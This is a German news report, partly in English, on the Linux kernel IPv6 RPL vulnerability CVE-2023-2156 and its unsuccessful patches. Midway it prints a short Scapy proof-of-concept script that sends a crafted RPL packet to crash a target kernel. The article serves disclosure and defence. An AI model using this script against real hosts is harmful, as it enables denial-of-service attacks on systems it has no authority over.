0-Day-Sicherheitsanfälligkeit im IPv6-Stack von Linux, die einen Remote-Kernel-Crash ermöglicht.

Details have been revealed about an unpatched (0-day) vulnerability (CVE-2023-2156) in the Linux kernel, which allows system outages through specially crafted IPv6 packets (packet-of-death). The issue occurs only when RPL (Routing Protocol for Low-Power and Lossy Networks) support is enabled, which is by default disabled in distributions and mainly used in embedded devices operating in wireless networks with high packet loss.

Die Schwachstelle resultiert aus der fehlerhaften Verarbeitung externer Daten im RPL-Protokollanalysator, was zu einer Assert-Fehlermeldung und einem Panic-Zustand des Kernels führt. Wenn in der k_buff-Struktur (Socket Buffer) Daten platziert werden, die aus der Analyse des IPv6 RPL-Paket-Headers stammen und wenn das Feld CmprI auf 15 gesetzt ist, das Feld Segleft auf 1 und CmprE auf 0, wird ein 48-Byte-Vektor mit Adressen auf 528 Byte entpackt, was zu einer Unterversorgung des dafür reservierten Speichers führt. In diesem Fall wird in der Funktion skb_push, die zum Einfügen von Daten in die Struktur verwendet wird, eine Überprüfung der Größenunterschiede zwischen den Daten und dem Buffer ausgelöst, die einen Panic-Zustand generiert, um ein Überlaufen des Buffers zu verhindern.

Beispiel eines Exploits: # Wir verwenden Scapy, um das Paket zu erstellen von scapy.all import * import socket # Verwenden Sie die IPv6-Adresse von Ihrem LAN-Interface DST_ADDR = sys.argv[1] SRC_ADDR = DST_ADDR # Wir verwenden Sockets, um das Paket zu senden sockfd = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) # Paket erstellen # Type = 3 macht dies zu einem RPL-Paket # Addresses enthält 3 Adressen, aber da CmprI 15 ist, # wird jedes Oktett der ersten beiden Adressen als komprimierte Adresse behandelt # Segleft = 1, um die Verstärkung auszulösen # lastentry = 0xf0 setzt CmprI auf 15 und CmprE auf 0 p = IPv6(src=SRC_ADDR, dst=DST_ADDR) / IPv6ExtHdrSegmentRouting(type=3, addresses=[«a8::», «a7::», «a6::»], segleft=1, lastentry=0xf0) # Sendet dieses schadhafte Paket sockfd.sendto(bytes(p), (DST_ADDR, 0))

Bemerkenswert ist, dass die Kernel-Entwickler bereits im Januar 2022 über die Schwachstelle informiert wurden und in den vergangenen 15 Monaten dreimal versucht haben, das Problem zu beheben, indem sie Patches im September 2022, Oktober 2022 und April 2023 veröffentlichten. Doch jedes Mal waren die Korrekturen unzureichend, und die Schwachstelle konnte reproduziert werden. Schließlich entschied das ZDI-Projekt, das die Arbeiten zur Behebung der Schwachstelle koordinierte, die Details der Schwachstelle offenzulegen, ohne auf eine funktionierende Lösung im Kernel zu warten.

Die Schwachstelle bleibt somit weiterhin unbehoben. Auch der in den Kernel 6.4-rc2 integrierte Patch ist ineffektiv. Benutzern wird geraten, zu überprüfen, ob das RPL-Protokoll in ihren Systemen nicht verwendet wird. Dies kann mit dem Befehl sysctl -a | grep -i rpl_seg_enabled durchgeführt werden.

Quelle: opennet.ru

Kaufen Sie zuverlässiges Hosting für Websites mit DDoS-Schutz, VPS VDS-Server 🔥 Kaufen Sie zuverlässiges Hosting für Websites mit DDoS-Schutz, VPS VDS-Server | ProHoster